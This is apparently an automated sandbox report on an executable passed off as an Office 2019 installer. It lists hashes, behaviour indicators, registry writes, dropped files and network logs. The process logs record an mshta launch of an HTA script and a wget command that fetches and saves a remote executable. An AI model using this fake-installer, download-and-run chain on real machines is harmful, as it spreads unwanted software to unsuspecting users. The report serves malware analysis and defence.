File name:

Office-2019-Word-Excel-Powerpoint.exe

Full analysis: https://app.any.run/tasks/34e315da-3dee-441c-af5e-d7f08bdf0504
Verdict: Malicious activity
Analysis date: May 16, 2024, 08:27:08
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

BBCAD7D5B427F0304ADD79D06E33D8D6

SHA1:

F53BE99801D8C727B9DAC59B128BB02B7032972E

SHA256:

AADAEE757A94939101646F1542894A93F56682E6643C06475E987B1E20C66F80

SSDEEP:

196608:hg5UGL8DxLDJjW61Qm6u/O7h/mi7RkGLT26RYKwT4:hg5bLIx3Jjhv6vhPRnZDwc

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops the executable file immediately after the start

      • Office-2019-Word-Excel-Powerpoint.exe (PID: 1036)
      • 7z.exe (PID: 2136)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • Office-2019-Word-Excel-Powerpoint.exe (PID: 1036)
      • 7z.exe (PID: 2136)

    • Process drops legitimate windows executable

      • Office-2019-Word-Excel-Powerpoint.exe (PID: 1036)

    • Reads security settings of Internet Explorer

      • Office-2019-Word-Excel-Powerpoint.exe (PID: 1036)
      • setup.exe (PID: 1588)

    • Runs shell command (SCRIPT)

      • mshta.exe (PID: 2116)

    • Reads settings of System Certificates

      • wget.exe (PID: 1580)
      • setup.exe (PID: 1588)

    • Reads the Internet Settings

      • setup.exe (PID: 1588)
      • powershell.exe (PID: 580)
      • powershell.exe (PID: 860)
      • Office-2019-Word-Excel-Powerpoint.exe (PID: 1036)
      • mshta.exe (PID: 2116)

    • Starts a Microsoft application from unusual location

      • setup.exe (PID: 1588)

    • Starts POWERSHELL.EXE for commands execution

      • setup.exe (PID: 1588)

    • The process bypasses the loading of PowerShell profile settings

      • setup.exe (PID: 1588)

    • Using PowerShell to operate with local accounts

      • powershell.exe (PID: 580)
      • powershell.exe (PID: 860)

    • Checks Windows Trust Settings

      • setup.exe (PID: 1588)

    • Searches for installed software

      • setup.exe (PID: 1588)

    • Drops 7-zip archiver for unpacking

      • Office-2019-Word-Excel-Powerpoint.exe (PID: 1036)

  • INFO

    • Create files in a temporary directory

      • Office-2019-Word-Excel-Powerpoint.exe (PID: 1036)
      • 7z.exe (PID: 2136)
      • wget.exe (PID: 1580)
      • setup.exe (PID: 1588)

    • Checks supported languages

      • Office-2019-Word-Excel-Powerpoint.exe (PID: 1036)
      • 7z.exe (PID: 2136)
      • wget.exe (PID: 1580)
      • wmpnscfg.exe (PID: 692)
      • setup.exe (PID: 1588)

    • Reads the computer name

      • Office-2019-Word-Excel-Powerpoint.exe (PID: 1036)
      • wget.exe (PID: 1580)
      • wmpnscfg.exe (PID: 692)
      • setup.exe (PID: 1588)

    • Checks proxy server information

      • mshta.exe (PID: 2116)
      • setup.exe (PID: 1588)

    • Reads the machine GUID from the registry

      • wget.exe (PID: 1580)
      • setup.exe (PID: 1588)

    • Reads Microsoft Office registry keys

      • setup.exe (PID: 1588)

    • Process checks computer location settings

      • setup.exe (PID: 1588)

    • Manual execution by a user

      • wmpnscfg.exe (PID: 692)

    • Reads the software policy settings

      • setup.exe (PID: 1588)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 580)
      • powershell.exe (PID: 860)

    • Creates files or folders in the user directory

      • setup.exe (PID: 1588)

    • Reads Environment values

      • setup.exe (PID: 1588)

    • Reads CPU info

      • setup.exe (PID: 1588)

    • Reads product name

      • setup.exe (PID: 1588)

    • Reads Internet Explorer settings

      • mshta.exe (PID: 2116)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win32 Executable MS Visual C++ (generic) (67.4)
.dll | Win32 Dynamic Link Library (generic) (14.2)
.exe | Win32 Executable (generic) (9.7)
.exe | Generic Win/DOS Executable (4.3)
.exe | DOS Executable Generic (4.3)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2009:08:16 11:05:43+00:00
ImageFileCharacteristics: No relocs, Executable, 32-bit
PEType: PE32
LinkerVersion: 9
CodeSize: 48640
InitializedDataSize: 136192
UninitializedDataSize: -
EntryPoint: 0x912e
OSVersion: 5
ImageVersion: -
SubsystemVersion: 4
Subsystem: Windows GUI
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
51
Monitored processes
9
Malicious processes
3
Suspicious processes
1

Behavior graph

Click at the process to see the details
start office-2019-word-excel-powerpoint.exe mshta.exe no specs 7z.exe wget.exe wmpnscfg.exe no specs setup.exe powershell.exe no specs powershell.exe no specs office-2019-word-excel-powerpoint.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
580"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile "$package = Get-AppxPackage Microsoft.Office.Desktop -allUsers; if (!$package) { $Error.Add(\"Package is not installed\")}; if ($error.Count -eq 0) { Out-File -FilePath 'C:\Users\admin\AppData\Local\Temp\Office.ValidateResult.scratch' -InputObject '1' -Encoding ascii; } else { Out-File -FilePath 'C:\Users\admin\AppData\Local\Temp\Office.ValidateResult.scratch' -InputObject '0' -Encoding ascii; Out-File -FilePath 'C:\Users\admin\AppData\Local\Temp\Office.ValidateError.scratch' -InputObject $error -Encoding ascii;} "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—setup.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
692"C:\Program Files\Windows Media Player\wmpnscfg.exe"C:\Program Files\Windows Media Player\wmpnscfg.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Media Player Network Sharing Service Configuration Application
Exit code:
0
Version:
12.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\program files\windows media player\wmpnscfg.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
860"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile "$package = Get-AppxPackage Microsoft.Office.Desktop -allUsers; if (!$package) { $Error.Add(\"Package is not installed\")}; if ($error.Count -eq 0) { Out-File -FilePath 'C:\Users\admin\AppData\Local\Temp\Office.ValidateResult.scratch' -InputObject '1' -Encoding ascii; } else { Out-File -FilePath 'C:\Users\admin\AppData\Local\Temp\Office.ValidateResult.scratch' -InputObject '0' -Encoding ascii; Out-File -FilePath 'C:\Users\admin\AppData\Local\Temp\Office.ValidateError.scratch' -InputObject $error -Encoding ascii;} "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—setup.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
1036"C:\Users\admin\Desktop\Office-2019-Word-Excel-Powerpoint.exe" C:\Users\admin\Desktop\Office-2019-Word-Excel-Powerpoint.exe
explorer.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Modules
Images
c:\users\admin\desktop\office-2019-word-excel-powerpoint.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.24483_none_2b200f664577e14b\comctl32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1580"C:\Users\admin\AppData\Local\Temp\RarSFX0\wget.exe" -O down.exe https://download.yandex.ru/yandex-pack/downloader/downloader.exeC:\Users\admin\AppData\Local\Temp\RarSFX0\wget.exe
mshta.exe
User:
admin
Integrity Level:
HIGH
Exit code:
4
Modules
Images
c:\users\admin\appdata\local\temp\rarsfx0\wget.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
1588"C:\Users\admin\AppData\Local\Temp\RarSFX0\setup.exe" C:\Users\admin\AppData\Local\Temp\RarSFX0\setup.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Microsoft Office
Version:
16.0.14430.20234
Modules
Images
c:\users\admin\appdata\local\temp\rarsfx0\setup.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
2116"C:\Windows\System32\mshta.exe" "C:\Users\admin\AppData\Local\Temp\RarSFX0\start.hta" C:\Windows\System32\mshta.exe—Office-2019-Word-Excel-Powerpoint.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\windows\system32\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\api-ms-win-downlevel-version-l1-1-0.dll
2136"C:\Users\admin\AppData\Local\Temp\RarSFX0\7z.exe" x wget.zip -aoaC:\Users\admin\AppData\Local\Temp\RarSFX0\7z.exe
mshta.exe
User:
admin
Company:
Igor Pavlov
Integrity Level:
HIGH
Description:
7-Zip Console
Exit code:
0
Version:
4.57
Modules
Images
c:\users\admin\appdata\local\temp\rarsfx0\7z.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
3972"C:\Users\admin\Desktop\Office-2019-Word-Excel-Powerpoint.exe" C:\Users\admin\Desktop\Office-2019-Word-Excel-Powerpoint.exe—explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
3221226540
Modules
Images
c:\users\admin\desktop\office-2019-word-excel-powerpoint.exe
c:\windows\system32\ntdll.dll
Total events
21 096
Read events
20 835
Write events
236
Delete events
25

Modification events

(PID) Process:(1036) Office-2019-Word-Excel-Powerpoint.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(1036) Office-2019-Word-Excel-Powerpoint.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(1036) Office-2019-Word-Excel-Powerpoint.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(1036) Office-2019-Word-Excel-Powerpoint.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(2116) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(2116) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(2116) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(2116) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(2116) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
Operation:writeName:ProxyEnable
Value:
0
(PID) Process:(2116) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
Operation:delete valueName:ProxyServer
Value:
Executable files
4
Suspicious files
16
Text files
21
Unknown types
1

Dropped files

PID
Process
Filename
Type
1036Office-2019-Word-Excel-Powerpoint.exeC:\Users\admin\AppData\Local\Temp\RarSFX0\img\logo-offer.pngimage
MD5:072679C20456E6B83EA3707A7C4E7B6F
SHA256:8A0087C2D38FA04F54E2F8A39310EB6FBDC8849C61A55AE235D4B121052A2E6A
1036Office-2019-Word-Excel-Powerpoint.exeC:\Users\admin\AppData\Local\Temp\RarSFX0\img\master-logo.pngimage
MD5:DCD58D02C346D2AE1A2E7E783A451692
SHA256:A0545E726904F6C8EA299ED374992A426913981B662160E517785661BA4A4689
1036Office-2019-Word-Excel-Powerpoint.exeC:\Users\admin\AppData\Local\Temp\RarSFX0\icon.icoimage
MD5:12D9707D3BD5A5473561249BE43EEF46
SHA256:B450161D99C31A95F2C7F0E912385DC718996E4590526D17CFCF674BAB9C9195
1036Office-2019-Word-Excel-Powerpoint.exeC:\Users\admin\AppData\Local\Temp\RarSFX0\setup.exeexecutable
MD5:405A33E12C9F9D8E73ED9524EE37E7E0
SHA256:D95E931BE58F97C5C36F6C622DC38A09DC2CD3C7E44FA02B45E57286726EB6A7
1036Office-2019-Word-Excel-Powerpoint.exeC:\Users\admin\AppData\Local\Temp\RarSFX0\7z.dllexecutable
MD5:AACD9B8E5E5E369C3518B86486CFC9D4
SHA256:E876CAB250EB2B0AAB976FF9922A3945E2B4724166B0EFB64690B46FE470CD3C
1036Office-2019-Word-Excel-Powerpoint.exeC:\Users\admin\AppData\Local\Temp\RarSFX0\7z.exeexecutable
MD5:2D1C72072FEC74FB0ECA850EF8F9F93E
SHA256:B93149E44239DBDD5E6705C73AE14EE11285923E963E41E8D142E4171F20F4EB
1036Office-2019-Word-Excel-Powerpoint.exeC:\Users\admin\AppData\Local\Temp\RarSFX0\gtea.vbstext
MD5:FD1C46C0CBE4B12C47C35C55058FDC4F
SHA256:162E2C4989DA50FDCB327B1384C1B450EAB42932E2A51C282A24CD736D09E9FF
1036Office-2019-Word-Excel-Powerpoint.exeC:\Users\admin\AppData\Local\Temp\RarSFX0\gtec.vbstext
MD5:100DAC90D760FFF0DF7EFE91DC516858
SHA256:5BA9F54CCC7B1E8C309A146A539436934B63E5239BA7D56824281351B541B6C1
1036Office-2019-Word-Excel-Powerpoint.exeC:\Users\admin\AppData\Local\Temp\RarSFX0\Linkf.zipcompressed
MD5:53E6A02CC1A922184E2E360D254310A5
SHA256:FEAD2F25DE0A845ECD6D468DE45A69DA0A197A482EC317FE6B7810EFD501D6DC
1036Office-2019-Word-Excel-Powerpoint.exeC:\Users\admin\AppData\Local\Temp\RarSFX0\last-page.htmlhtml
MD5:47A92FB3F5502373886E2BB5EBC2DA64
SHA256:F12FE315D5EC8760347727F32FC4AC6FA3A16821EF64515853D6714AA6FD83C0
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
18
TCP/UDP connections
18
DNS requests
13
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1588
setup.exe
HEAD
200
152.199.21.175:80
http://officecdn.microsoft.com/sg/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.12527.22286.cab
unknown
—
—
unknown
1588
setup.exe
HEAD
200
152.199.21.175:80
http://officecdn.microsoft.com/sg/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.12527.22286.cab
unknown
—
—
unknown
884
svchost.exe
HEAD
200
152.199.21.175:80
http://officecdn.microsoft.com/sg/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.12527.22286.cab
unknown
—
—
unknown
884
svchost.exe
HEAD
200
152.199.21.175:80
http://officecdn.microsoft.com/sg/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.12527.22286.cab
unknown
—
—
unknown
884
svchost.exe
GET
206
152.199.21.175:80
http://officecdn.microsoft.com/sg/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.12527.22286.cab
unknown
—
—
unknown
1588
setup.exe
GET
304
2.16.202.115:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?3f499ff63333cb64
unknown
—
—
unknown
884
svchost.exe
GET
200
152.199.21.175:80
http://officecdn.microsoft.com/sg/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.12527.22286.cab
unknown
—
—
unknown
1588
setup.exe
GET
200
2.16.164.72:80
http://crl.microsoft.com/pki/crl/products/MicCodSigPCA_2010-07-06.crl
unknown
—
—
unknown
1588
setup.exe
GET
200
2.16.164.72:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl
unknown
—
—
unknown
1588
setup.exe
GET
200
2.16.164.72:80
http://crl.microsoft.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
unknown
4
System
192.168.100.255:137
—
—
—
unknown
—
—
224.0.0.252:5355
—
—
—
unknown
1580
wget.exe
5.45.205.244:443
download.yandex.ru
YANDEX LLC
RU
whitelisted
1588
setup.exe
52.111.229.19:443
nexusrules.officeapps.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
unknown
1588
setup.exe
52.113.194.132:443
ecs.office.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
unknown
1388
svchost.exe
13.89.179.8:443
vortex-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
unknown
1588
setup.exe
52.109.89.117:443
mrodevicemgr.officeapps.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
unknown
1588
setup.exe
152.199.21.175:80
officecdn.microsoft.com
EDGECAST
DE
whitelisted
884
svchost.exe
152.199.21.175:80
officecdn.microsoft.com
EDGECAST
DE
whitelisted

DNS requests

Domain
IP
Reputation
download.yandex.ru
  • 5.45.205.244
  • 5.45.205.242
  • 5.45.205.245
  • 5.45.205.241
  • 5.45.205.243
whitelisted
nexusrules.officeapps.live.com
  • 52.111.229.19
whitelisted
ecs.office.com
  • 52.113.194.132
whitelisted
vortex-win.data.microsoft.com
  • 13.89.179.8
whitelisted
mrodevicemgr.officeapps.live.com
  • 52.109.89.117
whitelisted
officecdn.microsoft.com
  • 152.199.21.175
whitelisted
ctldl.windowsupdate.com
  • 2.16.202.115
  • 95.101.54.203
  • 2.16.202.113
  • 95.101.54.121
whitelisted
crl.microsoft.com
  • 2.16.164.72
  • 2.16.164.49
whitelisted
www.microsoft.com
  • 95.101.149.131
whitelisted
nexus.officeapps.live.com
  • 52.111.243.28
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Office-2019-Word-Excel-Powerpoint.exe